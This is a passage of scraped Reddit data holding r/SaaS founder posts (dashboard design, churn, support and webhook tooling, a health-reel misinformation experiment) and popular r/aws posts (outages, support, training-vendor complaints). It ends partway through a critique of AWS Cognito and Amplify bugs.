fight: he wants people to login and see literally everything at once. dashboard, alerts, clients, suitability, all surfaced immediately, nothing hidden behind menus. his logic, these are professionals, they want the full picture, not a guided tour. I think it's too much, the dashboard looks busy and it feels like I don't know where to click first and the yellow makes it worse, text kind of disappears into the background in places on light theme and I think there's some psychology behind this but the colours don't put my mind at ease it's an assault on the senses. I just think people will automatically pass without knowing why. I want it categorised with actual colour (blue, fight me) so that your brain can feel calm and at ease. he says that's prioritising pretty over functional. weeks of this. no end in sight. so, here is the [live link](https://amoeba-demo.com/), the login is pre-filled all you have to do is click login and play around with the dashboard. Let me know if: 1. colour should be leave it alone or back me up and go blue/green 2. did you understand what your next step should be when you logged in? 3. unserious bonus question, if this dashboard was a person, who is it?(I am thinking of Yellowjacket everytime I see the dark screen or of the characters in Empire in Black and Gold) ",devreme,1,0,1781868189,/r/SaaS/comments/1u9zci8/my_cofounder_and_i_are_at_a_stalemate_over/,https://www.reddit.com/r/SaaS/comments/1u9zci8/my_cofounder_and_i_are_at_a_stalemate_over/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9zb1k,SaaS,You can build the thing. That was never the problem.,"'You can write the code, ship the product, hold the whole system in your head at 2 a.m. when nobody else is awake.  What you can't always do is tell whether any of it matters yet. Whether the people you're building for actually want it. Whether the next move is the right one, or just the loudest one in your head. Building looks like a team sport from the outside.  From the inside, it's the loneliest thing you'll ever do. You're surrounded by people and still making every real decision alone.  Your friends think you've made it because you ""have a startup.""  Your family wants to know when it'll pay.  Investors and clients nod politely and then ghost you.  All what you’re left with is a question, that keeps biting you:  Am I building something real, or am I just very busy?' **I am planning to make this as part of my landing page.** **I geniunely want to get your feedback about it.** ",khalilliouane,1,0,1781868058,/r/SaaS/comments/1u9zb1k/you_can_build_the_thing_that_was_never_the_problem/,https://www.reddit.com/r/SaaS/comments/1u9zb1k/you_can_build_the_thing_that_was_never_the_problem/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9zaaq,SaaS,I got from 3 to 0 users,I launched a Ai Saas in 9 days then got 7 signups and 3 users using it and from them 1 was using website everyday I was iterating improving but I noticed no one has return since 2 days and I realized my Saas has went to 0 again what do I do ahousl I leave it or consider it a failure or what? ,MycologistIcy2335,1,0,1781867993,/r/SaaS/comments/1u9zaaq/i_got_from_3_to_0_users/,https://www.reddit.com/r/SaaS/comments/1u9zaaq/i_got_from_3_to_0_users/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9z8ov,SaaS,[ Removed by moderator ],[removed],Used_Table3903,1,0,1781867854,/r/SaaS/comments/1u9z8ov/built_an_actual_good_vulnerabilite_scanner_and/,https://v.redd.it/khl0ukpx388h1,v.redd.it,False,1,False,,arctic-shift,1781885554 1u9z734,SaaS,2 person startup was drowning in support tickets because of one stupid loop,"In my last startup we were a tiny 2 person team and support tickets were one of the most time consuming parts of our day. A customer would report an issue, we would pass it to dev, they would ask follow up questions then i would go back to the customer, then repeat that cycle multiple times just to understand what was actually going wrong It sounds small but it would easily eat up hours and completely break focus on other work. It also got frustrating for the customer because things dragged on longer than they should have. I am curious if other founders or small teams dealt with this too and how you solved it. One of the things I ended up building was a simple tool called [Bugtrotter.io](http://Bugtrotter.io) that lets customers record their screen when something breaks. It also automatically captures things like browser, OS, screen size so you don’t have to keep asking. The main thing I noticed is we finally stop guessing what the issue is and just see it exactly as the customer saw it. I have only tested it in few apps so far but i am trying to understand if this is a common enough pain that others would care about or if we just had a weird workflow. If you have dealt with this, what did you end up using? ",Affectionate-Sky-74,1,0,1781867715,/r/SaaS/comments/1u9z734/2_person_startup_was_drowning_in_support_tickets/,https://www.reddit.com/r/SaaS/comments/1u9z734/2_person_startup_was_drowning_in_support_tickets/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9z2ph,SaaS,24 hours in -- and still no customers . CAN SOMEONE HELP??,[removed],AdResident780,1,0,1781867360,/r/SaaS/comments/1u9z2ph/24_hours_in_and_still_no_customers_can_someone/,https://www.reddit.com/r/SaaS/comments/1u9z2ph/24_hours_in_and_still_no_customers_can_someone/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9z0jt,SaaS,I spent years watching people quit fitness. Here's what I learned.,[removed],ShowUp_Fitness,1,1,1781867162,/r/SaaS/comments/1u9z0jt/i_spent_years_watching_people_quit_fitness_heres/,https://www.reddit.com/r/SaaS/comments/1u9z0jt/i_spent_years_watching_people_quit_fitness_heres/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9yom1,SaaS,International founder with US LLC not accepted by payment providers — what alternatives worked for you?,[removed],DolaarBill,1,1,1781866062,/r/SaaS/comments/1u9yom1/international_founder_with_us_llc_not_accepted_by/,https://www.reddit.com/r/SaaS/comments/1u9yom1/international_founder_with_us_llc_not_accepted_by/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9ylz8,SaaS,A QR menu saas,I need help verify my idea im tryna build a simple menu for hotel owners where they customise their menu in the website and create QR out of it which can be pasted on the table for the users to scan,PromotionSalt5358,1,0,1781865805,/r/SaaS/comments/1u9ylz8/a_qr_menu_saas/,https://www.reddit.com/r/SaaS/comments/1u9ylz8/a_qr_menu_saas/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9yky3,SaaS,An honest comparison of LinkedIn outreach tools after running 400+ campaigns,[removed],DistributionOk2296,1,0,1781865708,/r/SaaS/comments/1u9yky3/an_honest_comparison_of_linkedin_outreach_tools/,https://www.reddit.com/r/SaaS/comments/1u9yky3/an_honest_comparison_of_linkedin_outreach_tools/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9yedh,SaaS,I spread misinformation to the elderly (for science) over social media for a month as marketing. Here are my findings.,"TLDR: I posted misinformation and real science-backed health reels to the same Instagram/Facebook account for a month to see which performed better, if algorithms push harmful content, and to try and build an audience around accurate health information. The real stuff won by 38x in reach. This was huge for the demographic I looked into. Before you comment yelling at me, read everything, because this title is kinda clickbait. My parents are getting older. They're both around 60, and with that, they continuously send me and blindly follow Facebook and Instagram posts on health advice that are blatant misinformation. More than half of them try to sell some elderly-focused coaching service with some jacked AI old guy, I'm sure you've seen them before, they’re everywhere, and they're absolute nonsense, but I've been unable to train my parents to detect it. So I decided to run an experiment of my own. For half a month I posted reels on a fresh account that were blatant misinformation. I was promoting staying inside all day because sunlight is bad for you, only sleeping 4-5 hours, not taking rest days, a whole bunch of crap. This was the fake category. Then for the other half of the month, I posted health and wellness advice backed up by the science in 42 different research papers. The real category. The intention was to test three things: 1) Which content actually performs better. 2) Whether the algorithms are unintentionally pushing content that is simply wrong and harming people. 3) Whether it would be possible to build an audience to spread accurate health information and pull some less informed people away from the misinformation. Controls were pretty simple. All reels used the same format, an aesthetic background video, popular music (a LOT of Kanye West lol), text on screen, sometimes a CTA. All posted at the same time, one per day, on the same account, cross-posted to both Instagram and Facebook. All results composited from both platforms. **Highest fake category performer:** 2,721 views. 1 net follow. 15 likes, 1 repost, 4 sends, 4 saves. Something worth noting is that this content could be read as satire by a younger audience because it has become a reel format, but the demographic breakdown showed more than 50% of viewers were 34 and older. So it wasn't just young people laughing at it. **Highest real category performer:** 104,408 views. 78 net follows. 226 likes, 27 shares, 54 saves, around 10 comments. The video was about how GP appointments don’t always cover topics for general health, and some other general health tips. Presented simply, sourced, no product pitch. The demographic skewed heavily 55-75, almost entirely people who found it without following the account first. The ratio isn't close. The real information outperformed the misinformation by about 38x in raw views, and by a much larger margin in every engagement metric that actually matters, saves and shares specifically, which are people actively keeping the content or passing it to someone they care about. **What I concluded:** The first question is clearly answered. Real beats fake. The second question is more nuanced than I expected. The misinformation did get distributed and did reach older audiences, so the algorithm isn't catching everything. But it didn't get the push that the accurate content did. Saves and watch completion seem to carry more algorithmic weight than likes, and the real content drove both way more. Mildly reassuring. The third question is where things got genuinely surprising. The 65+ demographic is basically ignored by everyone in the health and wellness content space. Every creator, every app, every influencer is chasing 25–40-year-olds with a bunch of disposable income trying to get jacked. Meanwhile the 60-year-old on Facebook trying to figure out why they're waking up tired every morning, or what they should actually be eating for breakfast, that person has almost nothing made for them that isn't a scam. And when actual accurate content showed up in their feed, they watched it, saved it, and sent it to their families. 54 saves on a single video from an account with basically no following. People were bookmarking health information to come back to. I've taken down most of the fake content since then because it obviously defeats the point. The account is now fully focused on research-backed daily health content for this demographic, and it's been growing consistently since (although there are still some misinformation posts that performed well). The problem here isn't really that people prefer bad information. It's that accurate information is usually terrible, talks down to people, or just isn't showing up where the people who need it most are spending their time.. Someone just has to actually show up and give the reel content to them straight. If anyone knows of any influencers for this, let me know. But that's what I'm trying to do. Will keep updating this as it develops.",Quoto21,1,0,1781865101,/r/SaaS/comments/1u9yedh/i_spread_misinformation_to_the_elderly_for/,https://www.reddit.com/r/SaaS/comments/1u9yedh/i_spread_misinformation_to_the_elderly_for/,self.SaaS,True,1,False,,arctic-shift,1781885554 1u9ydx8,SaaS,how are you guys handling failed webhooks and async tasks before support gets flooded?,"Hey, founder here of a tool in this space but I genuinely want to know how you guys handle this operational mess. If you run any kind of b2b saas, background workers and webhooks are basically half the app. Everything goes fine until stripe changes a payload, the db drops for 2 seconds, or some external api sends a weird json you didn't expect. The worst part is that these failures are completely silent for the user. They don't see a 500 page, things just stop syncing. Then 3 days later they open an angry support ticket because x feature wasn't provisioned, and you're stuck cleaning up a giant data consistency mess in production. When I started my flow was a total pain in the ass: check the logs, ssh into production to grab the raw failed json, fix it locally on vscode, and run a sketchy curl command praying it doesn't duplicate data. Massive waste of dev time. To fix my own itch I built Underlayer (link: [https://underlayer.dev](https://underlayer.dev)) which is just a visual UI to catch these failed events, edit the payload inline and hit retry safely. But putting my project aside, how do your teams actually manage this workflow? Do you have an internal admin panel so support people can hit retry, or are your senior devs still stuck digging through logs every time a webhook fails? At what MRR did this start becoming a real bottleneck for your velocity?",underlayerapp,1,0,1781865060,/r/SaaS/comments/1u9ydx8/how_are_you_guys_handling_failed_webhooks_and/,https://www.reddit.com/r/SaaS/comments/1u9ydx8/how_are_you_guys_handling_failed_webhooks_and/,self.SaaS,True,1,False,,arctic-shift,1781885554 14o7cnz,aws,What does he mean by “tech stack is on an AWS S3 cluster”?,,chocothrower,632,249,1688249747,/r/aws/comments/14o7cnz/what_does_he_mean_by_tech_stack_is_on_an_aws_s3/,https://i.redd.it/gqvebjo9hf9b1.jpg,i.redd.it,False,,,,, ojgw5x,aws,"Since you all liked the containers one, I made another Probably Wrong Flowchart on AWS database services!",,doodlebytes,608,34,1626186983,/r/aws/comments/ojgw5x/since_you_all_liked_the_containers_one_i_made/,https://i.redd.it/yd8auoi5rza71.png,i.redd.it,False,,,,, ivwj2w,aws,Acloudguru is scamming people. Secretly removed Linuxacademy courses and replaced it with their inferior content,"**Acloudguru is scamming people and going back on their promise.** When Acloudguru took over LinuxAcademy they assured us that we will have access to both catalog of courses. This was a lie. I paid for Linuxacademy yearly subscription to access their AWS Architect Pro and Devops Pro courses. **When I logged in a few days ago I found out that ACG removed 50 hour Aws Architect Pro Linuxacademy course by Adrian Cantrill and replaced it with their ACG inferior 14 hour course by Scott Pelter** **ACG removed 32 hour Devops Pro course and replaced it with their garbage 6 hour course. In actuality it’s only 4 hours!! Because they sneakily marked each section quiz as 4 hours long and added it to course total.** This is clearly not what I and other Linuxacademy members paid for. We would like the content that we paid for. Ryan Kroonenburg should be ashamed of himself for scamming people. I opened a ticket and was told by ACG rep that if I didn’t watch any video from Linuxacademy AWS Pro courses before then I won’t have access to them. Which is completely the opposite of what we were told when ACG took over. They are slowly replacing all LinuxAcademy courses with shorter, vomit inducing ACG products. **Also they sneakily inflate course length by making their quizzes as 4 hour long each. For example there are 6 quiz for AWS Devops Pro exam. So 6 x 4 is 24 hours. The total length of AWS Devops pro course advertised by ACG is 27 hours. So there is only 3 hours of content. No really, go check!** Linux academy had such great courses and content. Acloudguru is completely destroying all of its credibility and scamming people on top of it. I advise not to get any subscription with them. Rather support people like Stephen Maarek, Adrian Cantrill, Eissa Sharif, Neal Davis etc.",MrPurple2020,594,180,1600535539,/r/aws/comments/ivwj2w/acloudguru_is_scamming_people_secretly_removed/,https://www.reddit.com/r/aws/comments/ivwj2w/acloudguru_is_scamming_people_secretly_removed/,self.aws,True,,,,, rb1xrd,aws,500/502 Errors on AWS Console,"As always their Service Health Dashboard says nothing is wrong. I'm getting 500/502 errors from two different computers(in different geographical locations), completely different AWS accounts. Anyone else experiencing issues? &#x200B; ETA 11:37 AM ET: SHD has been updated: >8:22 AM PST We are investigating increased error rates for the AWS Management Console. > >8:26 AM PST We are experiencing API and console issues in the US-EAST-1 Region. We have identified root cause and we are actively working towards recovery. This issue is affecting the global console landing page, which is also hosted in US-EAST-1. Customers may be able to access region-specific consoles going to [https://console.aws.amazon.com/](https://console.aws.amazon.com/). So, to access the US-WEST-2 console, try [https://us-west-2.console.aws.amazon.com/](https://us-west-2.console.aws.amazon.com/) ETA: 11:56 AM ET: SHD has an EC2 update and Amazon Connect update: >8:49 AM PST We are experiencing elevated error rates for EC2 APIs in the US-EAST-1 region. We have identified root cause and we are actively working towards recovery. > >8:53 AM PST We are experiencing degraded Contact handling by agents in the US-EAST-1 Region. Lots more errors coming up, so I'm just going to link to the SHD instead of copying the updates. [https://status.aws.amazon.com/](https://status.aws.amazon.com/)",CeralEnt,555,505,1638891679,/r/aws/comments/rb1xrd/500502_errors_on_aws_console/,https://www.reddit.com/r/aws/comments/rb1xrd/500502_errors_on_aws_console/,self.aws,True,,,,, 9pefq8,aws,AWS Support now officially on Reddit!,"Hello /r/aws, AWS Support has officially landed! 🚀 To better support the thriving community here, we have created an official AWS Support account! We will specialize in **Account & Billing questions** and do our best to resolve your issue, address your feedback, or point you toward resources that can help. Please bear with us as we get this program off the ground, and let us know how we’re doing and how we can improve your experience with us. Shout out to moderator u/ckilborn for helping us get started! Thanks for building on AWS!",AWSSupport,539,98,1539905421,/r/aws/comments/9pefq8/aws_support_now_officially_on_reddit/,https://www.reddit.com/r/aws/comments/9pefq8/aws_support_now_officially_on_reddit/,self.aws,True,,,,, nrulld,aws,"The recent ""all the ways to run containers on AWS"" posts have left me super confused, so I made this flowchart. It's probably also wrong.",,doodlebytes,507,54,1622774197,/r/aws/comments/nrulld/the_recent_all_the_ways_to_run_containers_on_aws/,https://i.redd.it/xnblsjm6v5371.png,i.redd.it,False,,,,, ku5lco,aws,Amazon Suspended Parler From Its Web Hosting,,candrewswpi,470,493,1610246421,/r/aws/comments/ku5lco/amazon_suspended_parler_from_its_web_hosting/,https://www.buzzfeednews.com/article/johnpaczkowski/amazon-parler-aws,buzzfeednews.com,False,,,,, ii8ts4,aws,The new route 53 UI is terrible,"Didn't I already post this? Oh wait no, I'm sorry. That was the new calculator UI. AWS...please stop with all the wizard nonsense. Again. I don't need a wizard to hold my hand through creating a TXT record. I need something simple, or as you now call it, the ""old console"". I get the desire to create an experience, but please do it where it is warranted. Who in the community is asking for you to complicate the process of creating DNS records? I would rather you take us back to the days of editing BIND files with VIM than have to work in your new console. And I am not alone! A colleague of mine today just shared his feelings to me about your new console. He said, "" real DNS ballers edit BIND files with vim"". If you need a wizard to create DNS records, you should not be creating DNS records.",jimmyc802,463,146,1598627567,/r/aws/comments/ii8ts4/the_new_route_53_ui_is_terrible/,https://www.reddit.com/r/aws/comments/ii8ts4/the_new_route_53_ui_is_terrible/,self.aws,True,,,,, liiki3,aws,AWS Support is better than any other vendor support I've used.,"I've been working professionally in IT for a decade in a variety of roles. I've opened tickets with Microsoft, VMware, Novell, Oracle, SolarWinds, Dell, EMC, NetApp, Red Hat, and many more. I've been working full time with AWS for over four years now and their Support has ALWAYS been top notch. Yesterday's example: We're looking at using the new S3 PrivateLink (Interface Endpoint) functionality and our devs have a use case that uses S3 Presigned URLs. We haven't used them much publicly let alone with PrivateLink, but were able to get a Presigned URL to work and download files via the Interface Endpoint, except we kept getting SSL errors no matter the different approaches we tried due to certificate not matching our vpce- hostname. I confirmed our dev's experiences so I decided to open a ticket to see if AWS had a solution. I opened a chat and talked to someone within 5min, they understood the issue and my goal, they reproduced it themselves while chatting (I assume in their own environment). They did as much internal research as they could but found no solution so escalated to the product team. I feared this would be kicked back as a known limitation. This morning they got back to me with a straightforward answer that you need to make the request to a specific subdomain under endpoint hostname and it worked flawlessly. Let's review: * Talked to a person within 5 min of submitting a ticket * They spoke clear, concise English * Tried to understand my problem and reproduced it * Used the tools at their disposal to try to resolve my issue * Escalated to experts when they could not resolve * Followed up within 24hrs with a solution including detailed instructions to resolve my issue When was the last time you got support like that from a big name company? When I was still working with Oracle I wouldn't even bother with their support infrastructure anymore due to bad communication, responding off business hours, slow response times, constantly pushing issue back on customer, and the general vibe that they just want the customer to go away. Others may get you across the finish line, but only after several business days of back-and-forth sending logs and phone calls, webexes, etc. Anyway, other people probably have had less stellar experiences with AWS Support, but every single time I've interacted with them I just feel more validated that AWS is the right place for us to focus instead of our smaller Azure environment. AWS touts putting the customer first and for me, that shows in everything they do.",SpectralCoding,457,106,1613157846,/r/aws/comments/liiki3/aws_support_is_better_than_any_other_vendor/,https://www.reddit.com/r/aws/comments/liiki3/aws_support_is_better_than_any_other_vendor/,self.aws,True,,,,, i06b6w,aws,re:Invent 2020 will be free and virtual!,,ckilborn,443,68,1596048947,/r/aws/comments/i06b6w/reinvent_2020_will_be_free_and_virtual/,https://reinvent.awsevents.com,reinvent.awsevents.com,False,,,,, tpq5cp,aws,Trouble choosing the services (read comment),,repka3,435,51,1648406391,/r/aws/comments/tpq5cp/trouble_choosing_the_services_read_comment/,https://i.redd.it/d6gghoyhyyp81.jpg,i.redd.it,False,,,,, p7bt6m,aws,"Fun fact: type ""lamdba"" into your AWS search bar to find all documentation and articles where ""lambda"" is misspelled",,Kiony,430,21,1629366939,/r/aws/comments/p7bt6m/fun_fact_type_lamdba_into_your_aws_search_bar_to/,https://i.redd.it/5jm26apleai71.png,i.redd.it,False,,,,, gde37f,aws,AWS VP & Distinguished Engineer Tim Bray resigns over worker treatment,,caller-number-four,415,67,1588607602,/r/aws/comments/gde37f/aws_vp_distinguished_engineer_tim_bray_resigns/,https://www.tbray.org/ongoing/When/202x/2020/04/29/Leaving-Amazon,tbray.org,False,,,,, 1id2u77,aws,Feature Request: Remove Amazon Q from AWS Management Console,"The ""Amazon Q"" service is beyond useless. It doesn't do anything I ask it to. It takes up extra space in the AWS Management Console, and adds an unnecessary button to invoke it. This just creates cruft in the UI, and serves no other purpose. It reminds me of ""clippy"" from the old Microsoft Office days. Please remove Amazon Q from the AWS Management Console.",trevorstr,412,62,1738180305,/r/aws/comments/1id2u77/feature_request_remove_amazon_q_from_aws/,https://www.reddit.com/r/aws/comments/1id2u77/feature_request_remove_amazon_q_from_aws/,self.aws,True,,,,, k2lo7z,aws,Summary of the Amazon Kinesis Event in the Northern Virginia (US-EAST-1) Region,,rossmohax,404,101,1606560339,/r/aws/comments/k2lo7z/summary_of_the_amazon_kinesis_event_in_the/,https://aws.amazon.com/message/11201/,aws.amazon.com,False,,,,, ecf5i3,aws,"We're Reddit's Infrastructure team, ask us anything!","Hello r/aws! The Reddit Infrastructure team is here to answer your questions about the the underpinnings of the site, how we keep things running, how we develop and deploy, and of course, how we use AWS. **Edit: We'll try to keep answering some questions here and there until Dec 19 around 10am PDT, but have mostly wrapped up at this point.** Thanks for joining us! We'll see you again next year. Proof: [It us](https://preview.redd.it/a52e6qpouf541.jpg?width=4032&format=pjpg&auto=webp&s=45084b3b3e84806bf2f33a68abd91241c33bf27c) Please leave your questions below. We'll begin responding at 10am PDT. AMA participants: u/alienth u/bsimpson u/cigwe01 u/cshoesnoo u/gctaylor u/gooeyblob u/kernel0ops u/ktatkinson u/manishapme u/NomDeSnoo u/pbnjny u/prakashkut u/prax1st u/rram u/wangofchung u/asdf u/neosysadmin u/gazpachuelo As a final shameless plug, I'd be remiss if I failed to mention that we are [hiring](https://www.redditinc.com/careers) across numerous functions (technical, business, sales, and more).",gctaylor,385,284,1576687912,/r/aws/comments/ecf5i3/were_reddits_infrastructure_team_ask_us_anything/,https://www.reddit.com/r/aws/comments/ecf5i3/were_reddits_infrastructure_team_ask_us_anything/,self.aws,True,,,,, rvi9a8,aws,"Thanks to all of the ""My account was hacked!"" posts here, I finally setup MFA on all of my accounts","Just wanted to post a thank-you for all the hard lessons learned by the community. It was the final motivation I needed to setup MFA across all of my environments in all of my projects. I've been delaying the setup for months. Thanks for the motivation! Hopefully this serves as a reminder to anyone else viewing this sub to setup MFA!!",letsgodaledo,374,80,1641260855,/r/aws/comments/rvi9a8/thanks_to_all_of_the_my_account_was_hacked_posts/,https://www.reddit.com/r/aws/comments/rvi9a8/thanks_to_all_of_the_my_account_was_hacked_posts/,self.aws,True,,,,, fnri6t,aws,Covid-19 AWS Certification Update: You can now take all AWS Certification exams with online proctoring,,ckilborn,372,46,1584996061,/r/aws/comments/fnri6t/covid19_aws_certification_update_you_can_now_take/,https://aws.amazon.com/certification/faqs/,aws.amazon.com,False,,,,, dov74a,aws,I made a chrome extension to color the console header depending on the region. Do you find the idea interesting ?,,Geeno2,371,124,1572378919,/r/aws/comments/dov74a/i_made_a_chrome_extension_to_color_the_console/,https://i.redd.it/kdzk8579cjv31.png,i.redd.it,False,,,,, 1fooued,aws,Employees response to AWS RTO mandate ,"Following the claims behind this article, what do you think will happen next? I see some possible options 1. A lot of people will quit, especially the most talented that could find another job easier. So other companies may be discouraged from following Amazon's example. 2. The employees are not happy but would still comply and accept their fate. If they do so, how high do you think is the risk that other companies are going to follow the same example? What are the internal vibes between the AWS employees? ",andrewpol88,364,244,1727215745,/r/aws/comments/1fooued/employees_response_to_aws_rto_mandate/,https://finance.yahoo.com/news/amazon-back-office-crusade-could-090200105.html/,finance.yahoo.com,False,,,,, m77p5g,aws,"AWS Cognito & Amplify Auth - Bad, Bugged, Baffling","## What this article is about I'm going to express my dissatisfaction with **AWS Cognito** and **Amplify Auth**. If you intend to use these services in the future, or you're already using them, you can probably get something out of reading the article, potentially save yourself some hair pulling. I'll try to be as objective as I can be in my criticism. I don't have a dog in this race. I don't represent anyone. I use these services every day. If some of these bugs are fixed, I'll be a happy camper. If you want to make edits to the article you could do it by opening an issue or pull request on [github](https://github.com/bobbyhadz/bobbyhadz.com/blob/master/src/blog/aws-cognito-amplify-bad-bugged.md) ## The change email functionality has been bugged for ~ 3 years It's very common to implement auth with email as a username, unsurprisingly **AWS Cognito** supports this behavior. [email sign in](https://preview.redd.it/7tb151qxpmn61.png?width=1423&format=png&auto=webp&s=29ff615f4ff21ca98474885a03741ec925fa322c) You wouldn't want someone to register **with an email they don't own**, it's not secure and enables a **user to reserve emails they don't own** and block the actual email owners. Therefore you would need an email verification step (like every other site on the internet). Cognito also provides this functionality: [require email verification](https://preview.redd.it/kixran89qmn61.png?width=1351&format=png&auto=webp&s=68250edac8dab249384d37530270b2881d995917) Ok so what's the problem? 1. The user **requests an email change**, but **doesn't verify the new email** with the **verification code** 2. Cognito automatically updates the email attribute in the user pool, even though it wasn't verified. 3. If the user then logs out, they can only log in with their new - **not verified email** 4. The **new, not verified email** is already taken in the user pool, which blocks any users who might have that email from using your website. 5. The old email the user used is now available, in case someone decides to grab that one. The expected behavior would be: ## Resolved 1. The user requests an email change 2. The user clicks on the link sent to their new email address 3. AWS Cognito verifies the email and updates the `email` attribute in the user pool ## Rejected 1. The user requests an email change 2. The user doesn't click on the link sent to their email address 3. AWS Cognito does nothing Why did cognito change my email to `john@gmail.com` if I never verified it? [change email bug](https://preview.redd.it/g6g3a0chqmn61.png?width=1212&format=png&auto=webp&s=9efdd29a81830387d7dbf5e5f3bcccaa951530ce) Why am I able to log into my application as `john@gmail.com`? [logged in as john@gmail.com](https://preview.redd.it/5edaj3jjqmn61.png?width=1285&format=png&auto=webp&s=9c5faa190765f3a069447d083a0fa1fea57899c6) So I can log in with an email I haven't verified, even though I explicitly selected that I want users to verify their email. This [issue](https://github.com/aws-amplify/amplify-js/issues/987) has been open for approximately 3 years. Let's look at the source and see how we would tackle it: ## Default behavior if (user.requestsEmailChange()) { sendConfirmationEmailToNewEmail(); updateUserEmailToNewEmail(); } ## Proposed changes if (user.requestsEmailChange()) { sendConfirmationEmailToNewEmail(); } if (user.hasClickedConfirmationLink()) { updateUserEmailToNewEmail(); } All I can say is hopefully this gets fixed some day, let's move on. ## The baffling custom email messages default behavior When a user registers, requests an email change, requests a password reset etc, **we have to send them an email**. The default email cognito sends looks like: [default email](https://preview.redd.it/nqh4renvqmn61.png?width=525&format=png&auto=webp&s=cd13c05d0793fc1e72f9215f3631927f2c3425bd) **You would probably want to customize this email**. The way to do this in cognito is to use a `Custom message` lambda trigger. That's all good, however one day I updated my custom lambda trigger and added a custom html string email template I'd send to my users. **After I made the update** I tested it and **I was still getting the default behavior** with the one liner email of type `The verification code to your new account is 183277`. So I spent the next 4-5 hours debugging and it turns out the reason for this was that **the maximum length for custom email messages is** `20,000 UTF-8 characters` \- [docs](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pool-settings-email-verification-message-customization.html). So the way they decided to handle the case where I send **21,000 UTF-8 characters** is to **ignore my custom message** and **send their default message**, without giving me any indication as to what the cause was. It's very easy to reach and surpass the limit, especially if you use a templating language to write your emails. So **let's say that for some crazy reason, the limit of 20,000 characters made sense**, >shouldn't the default behavior be to send you an error indicating the problem? Instead they send you an email of form: `Your code is 123.`. And you have to debug a custom cognito trigger and figure out: >Oh, the reason it doesn't work is because I'm sending 21,000 UTF-8 characters and not 19,000, now I understand. Now I need a custom trigger for my custom trigger to count the UTF-8 characters and alert me if they're more than 20,000, otherwise I'd send a one liner email in production and get fired. They can **change this behavior to throw an error and inform the developer**, like tomorrow, and the result would be **hundreds of developer hours saved**. What makes this even more confusing is, **there are actually multiple reasons** as to why **they silently ignore your custom email** template and send the default one: 1. [Having verification type set to link](https://github.com/amazon-archives/amazon-cognito-identity-js/issues/521) 2. [Trying to access event.userName](https://stackoverflow.com/questions/61514305/aws-cognito-custom-email-message-with-lambda-trigger-being-overwritten) 3. [A million of other reasons](https://stackoverflow.com/questions/56865198/how-to-send-a-custom-message-for-custommessage-admincreateuser-trigger) So many developer hours wasted for no reason, is it that hard to handle the error and inform the developer? It makes me wonder who is the **target audience of this default behavior**, is it the **end user** or is it **the developer**? * The **end user** gets a one liner of type `Your code is 123.`, to say that's confusing would be an understatement * The **developer** implements a custom function with a custom email and gets the default one line email. Now you're **right where you started** but you've wasted a couple of hours. Let's look at the source: ## Default behavior const NICE_ROUND_NUMBER = 20000; if (email.message.length > NICE_ROUND_NUMBER) { return `Your code is ${Math.random().toFixed(4) * 10000}`; } ## Proposed changes if (email.message.length > NICE_ROUND_NUMBER) { throw new Error( `For some reason the maximum length of emails is ${NICE_ROUND_NUMBER} and your email is ${email.message.length} characters long.`, ); } This would be another easy fix for Cognito. Anyway let's move on. ## Custom attributes are a MESS When you want to **store a property on a user** that's **not included in the default provided cognito ones**, you have to use a **custom attribute**, i.e. add a boolean `isAdmin` to your user. However it's not that simple, because there are huge inconsistencies between the types of custom attributes said to be supported. 1. [Cognito docs](https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html#user-pool-settings-custom-attributes) and the console say: * Each custom attribute can be defined as a `string` or a `number`. * Each custom attribute **cannot be removed or changed once added** to a user pool. [custom attributes console](https://preview.redd.it/93zwyoymrmn61.png?width=1432&format=png&auto=webp&s=6f45646a0bd1ff2aebd5fc5cbef1c62d1624b1e0) Okay so I guess custom attributes support only `string` and `number` type and I have to be very careful when picking the type, because **I can't remove / update the custom attribute later**, which means that **the only way would be to delete and recreate my user pool**. 2. [Cloudformation docs](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cognito-userpool-schemaattribute.html#aws-properties-cognito-userpool-schemaattribute-properties) and [CDK docs](https://docs.aws.amazon.com/cdk/api/latest/docs/@aws-cdk_aws-cognito.ICustomAttribute.html#interface-icustomattribute) * Allowed values: `Boolean` | `DateTime` | `Number` | `String` I guess they just didn't implement the `boolean` and `datetime` types in the console yet, but they are supported by `cloudformation` and `CDK`. I mean **if they aren't supported I'm gonna get an error** and my **stack will be safely rolled back**, right? Let's try: this.userPool = new cognito.UserPool(this, 'userpool', { // ... other config { myBoolean: new cognito.BooleanAttribute({mutable: true}), // 👈👈👈 myNumber: new cognito.NumberAttribute({mutable: true}), // 👈👈👈 myDate: new cognito.DateTimeAttribute({mutable: true}), // 👈👈👈 }, } My stack update actually **succeeded**, let's open **the console** and see what happened: https://preview.redd.it/8rlsom8urmn61.png?width=1409&format=png&auto=webp&s=eda4156e0e3af2e4e7a52489cc529d62b6cd163a So at this point I'm thinking, **I guess they implemented the other types** as well, they **just didn't update the console interface, right**? Let's log into our application and see if the types are supported. First we'll try a custom attribute boolean: const profileAttributes = { 'custom:myBoolean': true, }; return Auth.updateUserAttributes(user, profileAttributes); [custom attribute boolean error](https://preview.redd.it/uoqgy5u1smn61.png?width=971&format=png&auto=webp&s=fe1e614dae97ad00c3df878c0137aec9ab37d8e2) Okay, we get an error: **TRUE\_VALUE can not be converted to a String**, I guess booleans are not supported? I mean **CDK** and **Cloudformation** both **said booleans were supported**, the stack update went through with the boolean value, I guess after all they're not supported, too bad I **can't update/remove this attribute now**. Let's try with a number, the number type is supported according to **CDK/Cloudformation/Cognito docs/Cognito Console**. There's no way it doesn't work, right? const profileAttributes = { 'custom:myNumber': 42, }; return Auth.updateUserAttributes(user, profileAttributes); [custom attribute number](https://preview.redd.it/1z4crt67smn61.png?width=1013&format=png&auto=webp&s=7630fb27574118bb9ac7daa2483fc5fda6ae6b1d) So we got an error: **NUMBER\_VALUE can not be converted to a String**. I can't use a number either? I guess not. But all docs said I could. It turns out the problem is in my code. Look at [this solution](https://github.com/aws-amplify/amplify-js/issues/2958#issuecomment-497348646) >All I had to do is wrap 